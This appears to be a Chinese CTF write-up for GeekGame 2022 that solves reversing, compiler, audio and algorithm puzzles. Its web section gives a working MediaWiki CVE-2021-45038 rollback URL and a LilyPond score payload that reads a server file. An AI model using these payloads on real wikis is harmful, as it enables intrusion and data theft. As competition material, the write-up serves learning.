GeekGame 2022 Writeup

评价:上当了。

也没做出来几问,虽然运气好抢到了「小北问答 · 极速版」解出所有 flag 的一血。

请用右边的目录进行快速跳转喵。

本 Writeup 中的 Flag 不一定和你解出来的 Flag 完全一样,因为 GeekGame 采用了极为先进的动态附件反作弊。

[Tutorial] †签到†

PDF 有保护,找个在线的网站去掉之后打开复制全文并粘贴到 Word 里:

1
别急 别急 WELCOME ABOARD, ALL PLAYERS! GO TO GEEKGAME.PKU.EDU.CN AND SUBMIT THE FLAG: fa{hns4PaigGeGm! lgTak__lyn_ekae}

重新组合一下:

1
flag{Thanks_4_Playing_GeekGame!}

[Tutorial] 小北问答 · 极速版

拿到了本题 Q2 & 解出所有 Flag 的一血,不过运气的成分比较大吧。

质数这道题纯粹是靠运气的(在这个范围内肯定不止一个……不过我有一种奇怪的感觉,就是在这个范围内取下标 -1 的正确率比 0 要高?),MAC 地址那问看不懂(现在知道是 BSSID 了),别的题答案都可以预设一下。运气好跑通了一次就过了这样。

其它的题不会有人不知道答案怎么找吧?(笑)

1
2
3
4
5
6
7
作答时间不超过 3 秒钟即可获得额外的 2 分。
你的用时是 0 秒,获得了额外的加分。

你共获得了 100 分。
flag{I-am-The-king-of-anxieTY}
flag{Now-yOu-have-Learnt-how-to-use-pwntooLs}
欢迎再来!

[Misc] 编原译理习题课

不保证是预期解,感谢互联网,真是一点 C++ 都没动手写呢!

玩挺大

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#define SIZE 100000000

char dummy[SIZE] = {'a'};

int main(void){
dummy[SIZE-1] = '\n';
if(dummy[0] == 'a')printf("Hello, bloated world");
return 0;
}
1
flag{not-muCh-largeR-than-an-eLeCtron-app}

玩挺长

1
2
3
4
5
6
7
#include __FILE__
#include __FILE__
#include __FILE__
#include __FILE__
#include __FILE__
#include __FILE__
p;
1
flag{shOrt volatile PRogRam; long long message;}

玩挺花

1
2
3
4
5
6
7
8
9
void f()
{
alignof((
{
label:
0;
}));
goto label;
}
1
flag{Sorry-TO-inform-you-that-gnu-Is-not-unix}

[Misc] Flag Checker

需要用到 jar 反编译工具,此处使用的是 Jadx。

Flag 1

1
2
3
if ("MzkuM8gmZJ6jZJHgnaMuqy4lMKM4".equals(rot13(Base64.getEncoder().encodeToString(this.textField1.getText().getBytes("UTF-8"))))) {
JOptionPane.showMessageDialog((Component) null, "Correct");
}

写作 ROT13,读作 ROT18,对上方字符串进行 ROT18 解码再 Base64 解码即可得到 flag。

1
2
3
ROT18 Cipher:                   MzkuM8gmZJ6jZJHgnaMuqy4lMKM4
ROT18 Plain (Base64 Encoded): ZmxhZ3tzMW1wMWUtanZhdl9yZXZ9
Base64 Decoded: flag{s1mp1e-jvav_rev}

Flag 2

1
2
3
4
5
6
Invocable engineByName = new ScriptEngineManager().getEngineByName("nashorn");
StringBuilder sb = new StringBuilder();
for (int i = 0; i < "\u0089\u009a\u0081\u008c\u009b\u0086\u0080\u0081Ï\u008c\u0087\u008a\u008c\u0084\u0089\u0083\u008e\u0088ÝÇ°ß\u0097\u008e×Ü\u008a\u0097ÝÆ\u0094\u0099\u008e\u009dÏ°ß\u0097ØÝÛ\u008dÒ´È\u008c\u0087\u008e\u009d¬\u0080\u008b\u008a®\u009bÈÃÈ\u0082\u008e\u009fÈÃÈÈÃÈ\u009c\u009f\u0083\u0086\u009bÈÃÈ\u009c\u009b\u009d\u0086\u0081\u0088\u0086\u0089\u0096ÈÃȬ\u0080\u009d\u009d\u008a\u008c\u009bÈÃȸ\u009d\u0080\u0081\u0088ÈÃÈ\u0085ÂȲÔ\u009d\u008a\u009b\u009a\u009d\u0081ÏÇ¥¼ ¡´°ß\u0097ØÝÛ\u008d´Û²²Ç°ß\u0097\u008e×Ü\u008a\u0097Ý´°ß\u0097ØÝÛ\u008d´Ü²²Ç°ß\u0097ØÝÛ\u008d´Ý²Æ´°ß\u0097ØÝÛ\u008d´Þ²²Ç\u0089\u009a\u0081\u008c\u009b\u0086\u0080\u0081Ç°ß\u0097\u008e×Ü\u008a\u0097ÜÆ\u0094\u009d\u008a\u009b\u009a\u009d\u0081Ï°ß\u0097\u008e×Ü\u008a\u0097Ü´°ß\u0097ØÝÛ\u008d´ß²²ÇßÆ\u0092ÆÆÒÒÏ¥¼ ¡´°ß\u0097ØÝÛ\u008d´Û²²Ç´ßÃÞÚÃÞÙÃÞØÃÜßÃÞßÚÃÞÙÃÜÞÃÞÙÃÙØÃÜÃÜÜÃÚÃÙßÃÛÃÞßÙÃÙÃÛÞÃßÃÞÃÙØÃÜÃÞÙÃÛÃÙÃÜÜÃÝÜݲ´°ß\u0097ØÝÛ\u008d´Þ²²Ç\u0089\u009a\u0081\u008c\u009b\u0086\u0080\u0081Ç°ß\u0097\u008e×Ü\u008a\u0097ÜÆ\u0094\u009d\u008a\u009b\u009a\u009d\u0081ÏÇ\u008c\u0087\u008a\u008c\u0084\u0089\u0083\u008e\u0088ÝÄÏ°ß\u0097ØÝÛ\u008d´Ý²Æ´°ß\u0097ØÝÛ\u008d´ß²²Ç°ß\u0097\u008e×Ü\u008a\u0097ÜÆ\u0092ÆÆаß\u0097ØÝÛ\u008d´Ú²Õ°ß\u0097ØÝÛ\u008d´Ù²Æ\u0092".length(); i++) {
sb.append((char) ("\u0089\u009a\u0081\u008c\u009b\u0086\u0080\u0081Ï\u008c\u0087\u008a\u008c\u0084\u0089\u0083\u008e\u0088ÝÇ°ß\u0097\u008e×Ü\u008a\u0097ÝÆ\u0094\u0099\u008e\u009dÏ°ß\u0097ØÝÛ\u008dÒ´È\u008c\u0087\u008e\u009d¬\u0080\u008b\u008a®\u009bÈÃÈ\u0082\u008e\u009fÈÃÈÈÃÈ\u009c\u009f\u0083\u0086\u009bÈÃÈ\u009c\u009b\u009d\u0086\u0081\u0088\u0086\u0089\u0096ÈÃȬ\u0080\u009d\u009d\u008a\u008c\u009bÈÃȸ\u009d\u0080\u0081\u0088ÈÃÈ\u0085ÂȲÔ\u009d\u008a\u009b\u009a\u009d\u0081ÏÇ¥¼ ¡´°ß\u0097ØÝÛ\u008d´Û²²Ç°ß\u0097\u008e×Ü\u008a\u0097Ý´°ß\u0097ØÝÛ\u008d´Ü²²Ç°ß\u0097ØÝÛ\u008d´Ý²Æ´°ß\u0097ØÝÛ\u008d´Þ²²Ç\u0089\u009a\u0081\u008c\u009b\u0086\u0080\u0081Ç°ß\u0097\u008e×Ü\u008a\u0097ÜÆ\u0094\u009d\u008a\u009b\u009a\u009d\u0081Ï°ß\u0097\u008e×Ü\u008a\u0097Ü´°ß\u0097ØÝÛ\u008d´ß²²ÇßÆ\u0092ÆÆÒÒÏ¥¼ ¡´°ß\u0097ØÝÛ\u008d´Û²²Ç´ßÃÞÚÃÞÙÃÞØÃÜßÃÞßÚÃÞÙÃÜÞÃÞÙÃÙØÃÜÃÜÜÃÚÃÙßÃÛÃÞßÙÃÙÃÛÞÃßÃÞÃÙØÃÜÃÞÙÃÛÃÙÃÜÜÃÝÜݲ´°ß\u0097ØÝÛ\u008d´Þ²²Ç\u0089\u009a\u0081\u008c\u009b\u0086\u0080\u0081Ç°ß\u0097\u008e×Ü\u008a\u0097ÜÆ\u0094\u009d\u008a\u009b\u009a\u009d\u0081ÏÇ\u008c\u0087\u008a\u008c\u0084\u0089\u0083\u008e\u0088ÝÄÏ°ß\u0097ØÝÛ\u008d´Ý²Æ´°ß\u0097ØÝÛ\u008d´ß²²Ç°ß\u0097\u008e×Ü\u008a\u0097ÜÆ\u0092ÆÆаß\u0097ØÝÛ\u008d´Ú²Õ°ß\u0097ØÝÛ\u008d´Ù²Æ\u0092".charAt(i) ^ 239));
}
engineByName.eval(sb.toString());

nashorn 是 JavaScript 引擎,用你喜欢的语言将这段代码还原为 JavaScript 代码。

1
2
3
4
5
6
7
res = "\u0089\u009a\u0081\u008c\u009b\u0086\u0080\u0081Ï\u008c\u0087\u008a\u008c\u0084\u0089\u0083\u008e\u0088ÝÇ°ß\u0097\u008e×Ü\u008a\u0097ÝÆ\u0094\u0099\u008e\u009dÏ°ß\u0097ØÝÛ\u008dÒ´È\u008c\u0087\u008e\u009d¬\u0080\u008b\u008a®\u009bÈÃÈ\u0082\u008e\u009fÈÃÈÈÃÈ\u009c\u009f\u0083\u0086\u009bÈÃÈ\u009c\u009b\u009d\u0086\u0081\u0088\u0086\u0089\u0096ÈÃȬ\u0080\u009d\u009d\u008a\u008c\u009bÈÃȸ\u009d\u0080\u0081\u0088ÈÃÈ\u0085ÂȲÔ\u009d\u008a\u009b\u009a\u009d\u0081ÏÇ¥¼ ¡´°ß\u0097ØÝÛ\u008d´Û²²Ç°ß\u0097\u008e×Ü\u008a\u0097Ý´°ß\u0097ØÝÛ\u008d´Ü²²Ç°ß\u0097ØÝÛ\u008d´Ý²Æ´°ß\u0097ØÝÛ\u008d´Þ²²Ç\u0089\u009a\u0081\u008c\u009b\u0086\u0080\u0081Ç°ß\u0097\u008e×Ü\u008a\u0097ÜÆ\u0094\u009d\u008a\u009b\u009a\u009d\u0081Ï°ß\u0097\u008e×Ü\u008a\u0097Ü´°ß\u0097ØÝÛ\u008d´ß²²ÇßÆ\u0092ÆÆÒÒÏ¥¼ ¡´°ß\u0097ØÝÛ\u008d´Û²²Ç´ßÃÞÚÃÞÙÃÞØÃÜßÃÞßÚÃÞÙÃÜÞÃÞÙÃÙØÃÜÃÜÜÃÚÃÙßÃÛÃÞßÙÃÙÃÛÞÃßÃÞÃÙØÃÜÃÞÙÃÛÃÙÃÜÜÃÝÜݲ´°ß\u0097ØÝÛ\u008d´Þ²²Ç\u0089\u009a\u0081\u008c\u009b\u0086\u0080\u0081Ç°ß\u0097\u008e×Ü\u008a\u0097ÜÆ\u0094\u009d\u008a\u009b\u009a\u009d\u0081ÏÇ\u008c\u0087\u008a\u008c\u0084\u0089\u0083\u008e\u0088ÝÄÏ°ß\u0097ØÝÛ\u008d´Ý²Æ´°ß\u0097ØÝÛ\u008d´ß²²Ç°ß\u0097\u008e×Ü\u008a\u0097ÜÆ\u0092ÆÆаß\u0097ØÝÛ\u008d´Ú²Õ°ß\u0097ØÝÛ\u008d´Ù²Æ\u0092"

new = ''
for i in res:
new += chr(ord(i) ^ 239)

print(new)

结果如下,注意不要对该代码进行美化等操作,因为其用到了自身,具体见下。

1
function checkflag2(_0xa83ex2){var _0x724b=['charCodeAt','map','','split','stringify','Correct','Wrong','j-'];return (JSON[_0x724b[4]](_0xa83ex2[_0x724b[3]](_0x724b[2])[_0x724b[1]](function(_0xa83ex3){return _0xa83ex3[_0x724b[0]](0)}))== JSON[_0x724b[4]]([0,15,16,17,30,105,16,31,16,67,3,33,5,60,4,106,6,41,0,1,67,3,16,4,6,33,232][_0x724b[1]](function(_0xa83ex3){return (checkflag2+ _0x724b[2])[_0x724b[0]](_0xa83ex3)}))?_0x724b[5]:_0x724b[6])}

然后梳理代码逻辑(或者使用 JS 反混淆工具),实际为根据一定顺序从 checkflag2 自身中取出字符,连在一起就是 flag。

1
2
3
4
5
6
7
>>> a = [0, 15, 16, 17, 30, 105, 16, 31, 16, 67, 3, 33, 5, 60, 4, 106, 6, 41, 0, 1, 67, 3, 16, 4, 6, 33, 232]
>>> seq = "function checkflag2(_0xa83ex2){var _0x724b=['charCodeAt','map','','split','stringify','Correct','Wrong','j-'];return (JSON[_0x724b[4]](_0xa83ex2[_0x724b[3]](_0x724b[2])[_0x724b[1]](function(_0xa83ex3){return _0xa83ex3[_0x724b[0]](0)}))== JSON[_0x724b[4]]([0,15,16,17,30,105,16,31,16,67,3,33,5,60,4,106,6,41,0,1,67,3,16,4,6,33,232][_0x724b[1]](function(_0xa83ex3){return (checkflag2+ _0x724b[2])[_0x724b[0]](_0xa83ex3)}))?_0x724b[5]:_0x724b[6])}"
>>> res = ''
>>> for i in a:
... res += seq[i]
>>> res
'flag{javascript-obfuscator}'

附一段也许零基础 JavaScript 的朋友也能看懂的反混淆版本,仅供理解逻辑。

其中 (checkflag2 + '') 实际就是以 str 返回自己的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function checkflag2(flag) {
return (
JSON.stringify(
flag
.split('')
.map(
function(tmp) {
return tmp.charCodeAt(0)
}
)
) == JSON.stringify(
[0,15,16,17,30,105,16,31,16,67,3,33,5,60,4,106,6,41,0,1,67,3,16,4,6,33,232]
.map(
function(tmp) {
return (checkflag2 + '').charCodeAt(tmp)
}
)
) ? 'Correct' : 'Wrong')
}
1
flag{javascript-obfuscator}

[Misc] 我用108天录了个音

要在极低码率下还能听那显然只能 opus 了。

压制参数:

1
ffmpeg -i helang_phrase_05.wav -c:a libopus -b:a 6K -frame_duration 120 -application voip -cutoff 4000 -sample_fmt s16 -ar 8000 -ac 1 -fflags +bitexact -flags:v +bitexact -flags:a +bitexact -map_metadata -1 helang_phrase_05_s.ogg

其中 frame_duration 参数 opusencffmpeg 文档里都只写了 60 但实际上可以 120,然后改 opusenc 源码再编译这种变态的事情我实在是干不出来,所以还是喷出题人吧。

另外静音段奇怪地发现 32Kbps 的压缩效果好于 6Kbps……这是什么玄学?

能拿到一个 Flag 的文件列表:

文件名 大小
10s_interval_100hz.ogg 1651 Bytes
10s_interval_100hz_0.5K.ogg 643 Bytes
helang_phrase_01.ogg 1069 Bytes
helang_phrase_02_s.ogg 928 Bytes
helang_phrase_03_s.ogg 1074 Bytes
helang_phrase_04_s.ogg 922 Bytes
helang_phrase_05_s.ogg 1538 Bytes

一番凹之后,我当时就很™不能理解出题人是怎么做到把静音段压到 0.5KB 的,1651 Bytes 已经是我尝试之后的最佳结果了。

直到读了题解之后发现原来码率也是建议范围,实际最低码率能 0.5Kbps,这样的话每段静音段就能再省 1KB 了,见表格中的 10s_interval_100hz_0.5K.ogg,比赛中使用的是 1651 Bytes 的版本

尝试的时候我也发现,1Hz WAV 也可以把静音段做到很小,但是 opus 最低支持 100Hz 输入重采样……

[Web] 企鹅文档

第 1 关

https://docs.qq.com/dop-api/get/sheetstartrow=61&endrow=72 改为 startrow=0&endrow=72 得到以下返回:

1
{"retcode":0,"data":{"title":"企鹅文档","initialAttributedText":{"referenceData":"[]","text":[[[{"t":14,"v":5,"c":["BB08J2",14,0,73]},{"t":14,"v":5,"c":["BB08J2",2,0,1]}],[{"t":2,"v":5,"c":["BB08J2",[[10,67]],[[1,0,0.0]],"ROWS"]},{"t":2,"v":5,"c":["BB08J2",[[10,67]],[[2,0,1]],"ROWS"]},{"t":2,"v":5,"c":["BB08J2",[[0,0]],[[1,0,305.0]],"COLUMNS"]},{"t":2,"v":5,"c":["BB08J2",[[0,0]],[[2,0,0]],"COLUMNS"]}],[{"t":3,"v":5,"c":[["BB08J2",0,72,0,0],{"0":{"0":133,"2":[1,"通过以下链接访问题目机密flag:"],"3":0,"8":[[0,{"0":"#000000","1":"","2":10,"3":0,"4":0,"5":0}]]},"1":{"0":5,"2":[1,"h"],"3":1},"2":{"0":5,"2":[1,"t"],"3":1},"3":{"0":5,"2":[1,"t"],"3":1},"4":{"0":5,"2":[1,"p"],"3":1},"5":{"0":5,"2":[1,"s"],"3":1},"6":{"0":5,"2":[1,":"],"3":1},"7":{"0":5,"2":[1,"/"],"3":1},"8":{"0":5,"2":[1,"/"],"3":1},"9":{"0":5,"2":[1,"g"],"3":1},"10":{"0":5,"2":[1,"e"],"3":1},"11":{"0":5,"2":[1,"e"],"3":1},"12":{"0":5,"2":[1,"k"],"3":1},"13":{"0":5,"2":[1,"g"],"3":1},"14":{"0":5,"2":[1,"a"],"3":1},"15":{"0":5,"2":[1,"m"],"3":1},"16":{"0":5,"2":[1,"e"],"3":1},"17":{"0":5,"2":[1,"."],"3":1},"18":{"0":5,"2":[1,"p"],"3":1},"19":{"0":5,"2":[1,"k"],"3":1},"20":{"0":5,"2":[1,"u"],"3":1},"21":{"0":5,"2":[1,"."],"3":1},"22":{"0":5,"2":[1,"e"],"3":1},"23":{"0":5,"2":[1,"d"],"3":1},"24":{"0":5,"2":[1,"u"],"3":1},"25":{"0":5,"2":[1,"."],"3":1},"26":{"0":5,"2":[1,"c"],"3":1},"27":{"0":5,"2":[1,"n"],"3":1},"28":{"0":5,"2":[1,"/"],"3":1},"29":{"0":5,"2":[1,"s"],"3":1},"30":{"0":5,"2":[1,"e"],"3":1},"31":{"0":5,"2":[1,"r"],"3":1},"32":{"0":5,"2":[1,"v"],"3":1},"33":{"0":5,"2":[1,"i"],"3":1},"34":{"0":5,"2":[1,"c"],"3":1},"35":{"0":5,"2":[1,"e"],"3":1},"36":{"0":5,"2":[1,"/"],"3":1},"37":{"0":5,"2":[1,"t"],"3":1},"38":{"0":5,"2":[1,"e"],"3":1},"39":{"0":5,"2":[1,"m"],"3":1},"40":{"0":5,"2":[1,"p"],"3":1},"41":{"0":5,"2":[1,"l"],"3":1},"42":{"0":5,"2":[1,"a"],"3":1},"43":{"0":5,"2":[1,"t"],"3":1},"44":{"0":5,"2":[1,"e"],"3":1},"45":{"0":5,"2":[1,"/"],"3":1},"46":{"0":5,"2":[1,"p"],"3":1},"47":{"0":5,"2":[1,"r"],"3":1},"48":{"0":5,"2":[1,"o"],"3":1},"49":{"0":5,"2":[1,"b"],"3":1},"50":{"0":5,"2":[1,"_"],"3":1},"51":{"0":5,"2":[1,"k"],"3":1},"52":{"0":5,"2":[1,"A"],"3":1},"53":{"0":5,"2":[1,"i"],"3":1},"54":{"0":5,"2":[1,"Q"],"3":1},"55":{"0":5,"2":[1,"c"],"3":1},"56":{"0":5,"2":[1,"W"],"3":1},"57":{"0":5,"2":[1,"H"],"3":1},"58":{"0":5,"2":[1,"o"],"3":1},"59":{"0":5,"2":[1,"b"],"3":1},"60":{"0":5,"2":[1,"s"],"3":1},"61":{"0":5,"2":[1,"B"],"3":1},"62":{"0":5,"2":[1,"z"],"3":1},"63":{"0":5,"2":[1,"R"],"3":1},"64":{"0":5,"2":[1,"J"],"3":1},"65":{"0":5,"2":[1,"E"],"3":1},"66":{"0":5,"2":[1,"s"],"3":1},"67":{"0":5,"2":[1,"_"],"3":1},"68":{"0":5,"2":[1,"n"],"3":1},"69":{"0":5,"2":[1,"e"],"3":1},"70":{"0":5,"2":[1,"x"],"3":1},"71":{"0":5,"2":[1,"t"],"3":1},"72":{"0":133,"2":[1,"机密flag链接已经受到保护,只允许出题人访问"],"3":2,"8":[[0,{"0":"#000000","1":"","2":10,"3":0,"4":0,"5":0}]]}},{"0":[{"0":32321,"2":[0,"General"],"8":"left","11":"#000000","12":"","13":10,"14":0,"15":0,"16":0},{"0":0},{"0":32257,"2":[0,"General"],"11":"#000000","12":"","13":10,"14":0,"15":0,"16":0}],"1":[],"2":[]}]}]]],"attribs":""},"bad":2,"padType":"sheet","padSubId":"BB08J2","endrow":"72","wb":0,"maxcol":1,"spv":1,"maxrow":73,"header":[{"d":[{"id":"BB08J2","type":"","hidden":false,"name":"工作表1"}],"type":"ms"}],"padId":"WYlPTaBZyykj","ver":8,"rev":23,"startrow":"0","globalPadId":"300000000$WYlPTaBZyykj","pos":1,"sheetId":"BB08J2"}}

拼接一下:

1
2
3
4
5
6
obj = {"0":{"0":133,"2":[1,"通过以下链接访问题目机密flag:"],"3":0,"8":[[0,{"0":"#000000","1":"","2":10,"3":0,"4":0,"5":0}]]},"1":{"0":5,"2":[1,"h"],"3":1},"2":{"0":5,"2":[1,"t"],"3":1},"3":{"0":5,"2":[1,"t"],"3":1},"4":{"0":5,"2":[1,"p"],"3":1},"5":{"0":5,"2":[1,"s"],"3":1},"6":{"0":5,"2":[1,":"],"3":1},"7":{"0":5,"2":[1,"/"],"3":1},"8":{"0":5,"2":[1,"/"],"3":1},"9":{"0":5,"2":[1,"g"],"3":1},"10":{"0":5,"2":[1,"e"],"3":1},"11":{"0":5,"2":[1,"e"],"3":1},"12":{"0":5,"2":[1,"k"],"3":1},"13":{"0":5,"2":[1,"g"],"3":1},"14":{"0":5,"2":[1,"a"],"3":1},"15":{"0":5,"2":[1,"m"],"3":1},"16":{"0":5,"2":[1,"e"],"3":1},"17":{"0":5,"2":[1,"."],"3":1},"18":{"0":5,"2":[1,"p"],"3":1},"19":{"0":5,"2":[1,"k"],"3":1},"20":{"0":5,"2":[1,"u"],"3":1},"21":{"0":5,"2":[1,"."],"3":1},"22":{"0":5,"2":[1,"e"],"3":1},"23":{"0":5,"2":[1,"d"],"3":1},"24":{"0":5,"2":[1,"u"],"3":1},"25":{"0":5,"2":[1,"."],"3":1},"26":{"0":5,"2":[1,"c"],"3":1},"27":{"0":5,"2":[1,"n"],"3":1},"28":{"0":5,"2":[1,"/"],"3":1},"29":{"0":5,"2":[1,"s"],"3":1},"30":{"0":5,"2":[1,"e"],"3":1},"31":{"0":5,"2":[1,"r"],"3":1},"32":{"0":5,"2":[1,"v"],"3":1},"33":{"0":5,"2":[1,"i"],"3":1},"34":{"0":5,"2":[1,"c"],"3":1},"35":{"0":5,"2":[1,"e"],"3":1},"36":{"0":5,"2":[1,"/"],"3":1},"37":{"0":5,"2":[1,"t"],"3":1},"38":{"0":5,"2":[1,"e"],"3":1},"39":{"0":5,"2":[1,"m"],"3":1},"40":{"0":5,"2":[1,"p"],"3":1},"41":{"0":5,"2":[1,"l"],"3":1},"42":{"0":5,"2":[1,"a"],"3":1},"43":{"0":5,"2":[1,"t"],"3":1},"44":{"0":5,"2":[1,"e"],"3":1},"45":{"0":5,"2":[1,"/"],"3":1},"46":{"0":5,"2":[1,"p"],"3":1},"47":{"0":5,"2":[1,"r"],"3":1},"48":{"0":5,"2":[1,"o"],"3":1},"49":{"0":5,"2":[1,"b"],"3":1},"50":{"0":5,"2":[1,"_"],"3":1},"51":{"0":5,"2":[1,"k"],"3":1},"52":{"0":5,"2":[1,"A"],"3":1},"53":{"0":5,"2":[1,"i"],"3":1},"54":{"0":5,"2":[1,"Q"],"3":1},"55":{"0":5,"2":[1,"c"],"3":1},"56":{"0":5,"2":[1,"W"],"3":1},"57":{"0":5,"2":[1,"H"],"3":1},"58":{"0":5,"2":[1,"o"],"3":1},"59":{"0":5,"2":[1,"b"],"3":1},"60":{"0":5,"2":[1,"s"],"3":1},"61":{"0":5,"2":[1,"B"],"3":1},"62":{"0":5,"2":[1,"z"],"3":1},"63":{"0":5,"2":[1,"R"],"3":1},"64":{"0":5,"2":[1,"J"],"3":1},"65":{"0":5,"2":[1,"E"],"3":1},"66":{"0":5,"2":[1,"s"],"3":1},"67":{"0":5,"2":[1,"_"],"3":1},"68":{"0":5,"2":[1,"n"],"3":1},"69":{"0":5,"2":[1,"e"],"3":1},"70":{"0":5,"2":[1,"x"],"3":1},"71":{"0":5,"2":[1,"t"],"3":1},"72":{"0":133,"2":[1,"机密flag链接已经受到保护,只允许出题人访问"],"3":2,"8":[[0,{"0":"#000000","1":"","2":10,"3":0,"4":0,"5":0}]]}}

res = ''
for i in obj.values():
res += i["2"][1]
print(res)
1
2
3
通过以下链接访问题目机密flag:
https://geekgame.pku.edu.cn/service/template/prob_kAiQcWHobsBzRJEs_next
机密flag链接已经受到保护,只允许出题人访问

第 2 关

从提供的 HAR,用和第一关一样的思路重建像素画。注意要取 rev=1 的那次请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sheet = content['data']['initialAttributedText']['text'][0][3][0]['c'][1]

flag = open('flag.txt', 'w', encoding='utf-8')

for i in range(0, 2476, 11):
res = ''
for j in range(11):
if str(i + j) in sheet.keys():
res += 'X'
else:
res += ' '
flag.write(res + '\n')

flag.close()

像素画结果示例(写题解的时候发现在 VSCode 右侧快速预览看着还挺方便):

1
2
3
4
5
6
7
8
9
  XXX      
XX XX
XX
XXXX
XX
XX
XXXX

...
1
flag{ShouldBeSponsoredByTencent}

[Web] 私有笔记

知识,与你分享

使用 CVE-2021-45038

https://prob07-xxxxxxxx.geekgame.pku.edu.cn/index.php/%E9%A6%96%E9%A1%B5?action=rollback&from={{:Flag}}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
回退失败
跳到导航跳到搜索
无法回退[[User:You can use the following username and password to login:

User name: Flag1
Password: flag{insecure_01d_mediavviki}
Try RCE to find Flag 2.|You can use the following username and password to login:

User name: Flag1
Password: flag{insecure_01d_mediavviki}
Try RCE to find Flag 2.]]([[User talk:You can use the following username and password to login:

User name: Flag1
Password: flag{insecure_01d_mediavviki}
Try RCE to find Flag 2.|讨论]] | [[Special:Contributions/You can use the following username and password to login:

User name: Flag1
Password: flag{insecure_01d_mediavviki}
Try RCE to find Flag 2.|贡献]])对首页的编辑,其他人已经编辑或者回退了该页。

本页最后的编辑者是MediaWiki default(讨论 | 贡献)。

返回至首页。

来我家做客吧

利用的是 Lilypond 相关的 RCE。

思路的话,可以是先从 CVE 列表查看发现很多插件有问题,然后去特殊:版本页查看安装的插件,发现有 Score 和 Lilypond。

(阅读官方题解之后才意识到确实可以直接传个 shell 上去,就不用和 Lilypond 斗智斗勇了)

参考资料:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
我家里真的有 Flag2,不信你看:

<score lang="lilypond">\new Staff <<{c^#

(if (file-exists? "/flag2") "true" "false")

}>></score>

它长这样:

<score lang="lilypond" raw="1">\header {
title = "Flag2"
tagline = ##f
}

#(define s "")
#(let* ((f (open-input-file "/flag2")) (c #\space)) (while (not (eof-object? c)) (set! s (string-append s (string c))) (set! c (read-char f))))

\score {
\relative c' {
g4^#s
}

\layout {}
\midi {}
}</score>

看看你的 flag

1
flag{li1yp0nd_can_1ead_to_rce}

[Algorithm] 381654729

累进可除数 - 维基百科,自由的百科全书

本题的「累进可除数」是 16 进制版本除以其位数(10 进制)。

我的思路是枚举可能的字符组合,然后检查是否满足条件直到获得 24 位长的 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
xor_in = 2511413510804014444370343823137024266846210390063420240191
flag = ''

def dive(cur: str):
cur_int = int.from_bytes(cur.encode(), 'big')
cur_int <<= (24 - len(cur)) * 8
cur_int = (cur_int ^ xor_in) >> (24 - len(cur)) * 8

possible = True
num_len = len(hex(cur_int)) - 2

for j in range(1, num_len + 1):
if (cur_int >> ((num_len - j) * 4)) % j > 0:
possible = False
break

if not possible:
return
else:
if len(cur) == 24:
print(cur)
exit()
for i in range(127):
dive(cur + chr(i))


for i in range(127):
dive('' + chr(i))
1
flag{founD_magiC_NUmber}

总结

希望「我用108天录了个音」和「乱码还原」的出题人心里自己有点 ACDE 数。

(尤其是「乱码还原」的出题人,都没意识到自己会被喷么)

别的我菜。

作者

星野 みなと

发布于

2022-11-27

许可协议

评论

Your browser is out-of-date!

Update your browser to view this website correctly.&npsb;Update my browser now

×